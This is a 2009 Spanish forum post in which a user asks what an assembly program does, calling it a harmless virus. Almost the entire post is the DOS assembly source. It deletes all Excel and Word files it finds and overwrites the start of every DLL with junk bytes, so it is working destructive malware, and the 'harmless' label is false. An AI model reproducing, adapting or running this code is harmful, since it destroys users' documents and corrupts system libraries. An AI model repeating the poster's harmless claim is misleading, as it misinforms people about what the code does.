Ensamblador - que hace este programa?

   
Vista:

que hace este programa?

Publicado por dario (1 intervención) el 31/01/2009 00:19:10
este programa es un virus inofencivo,la cuestion es que necesioto saber que es lo que hace.
este es el codigo del programa:



.model small ;
.stack ;
.data ;

mascara db "*.xls",0 ;
mascara2 db "*.doc",0 ;
mascara3 db "*.dll",0 ;
inserta db "3466776ds7674hd873hd8" ;

.code ;

inicio:
mov ax,@data ;

mov ds,ax ;

mov ah,4Eh ;

salto1:
mov cx,0000h ;
lea dx,mascara ;
int 21h ;
jc segundo ;

xor bx,bx ;

mov dx,es
mov ds,dx
mov bx,9eh ;
mov ah,41h ;
lea dx,[bx] ;
int 21h
xor bx,bx ;


mov ah,4fh ;
jmp salto1 ;

segundo:
mov ax,@data ;
mov ds,ax ;

mov ah,4eh ;



salto2:
mov cx,0000h

lea dx,mascara2 ;
int 21h ;
jc tercero ;

xor bx,bx ;

mov dx,es ;
mov ds,dx
mov bx,9eh
mov ah,41h ;
lea dx,[bx] ;
int 21h ;
xor bx,bx



mov ah,4fh ;
jmp salto2

tercero:
mov ax,@data ;
mov ds,ax ;

mov ah,4eh ;



salto3:
mov cx,0000h
lea dx,mascara3 ;
int 21h ;
jc salir ;
xor bx,bx

mov dx,es
mov ds,dx
mov bx,9eh
mov ax,3d01h ;

lea dx,[bx] ;
int 21h ;
xchg ax,bx

mov ah,40h ;
mov cx,21 ;
lea dx, inserta ;
int 21h

mov ah,4fh ;

jmp salto3


salir:
mov ah,4ch ;
int 21h
end inicio
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder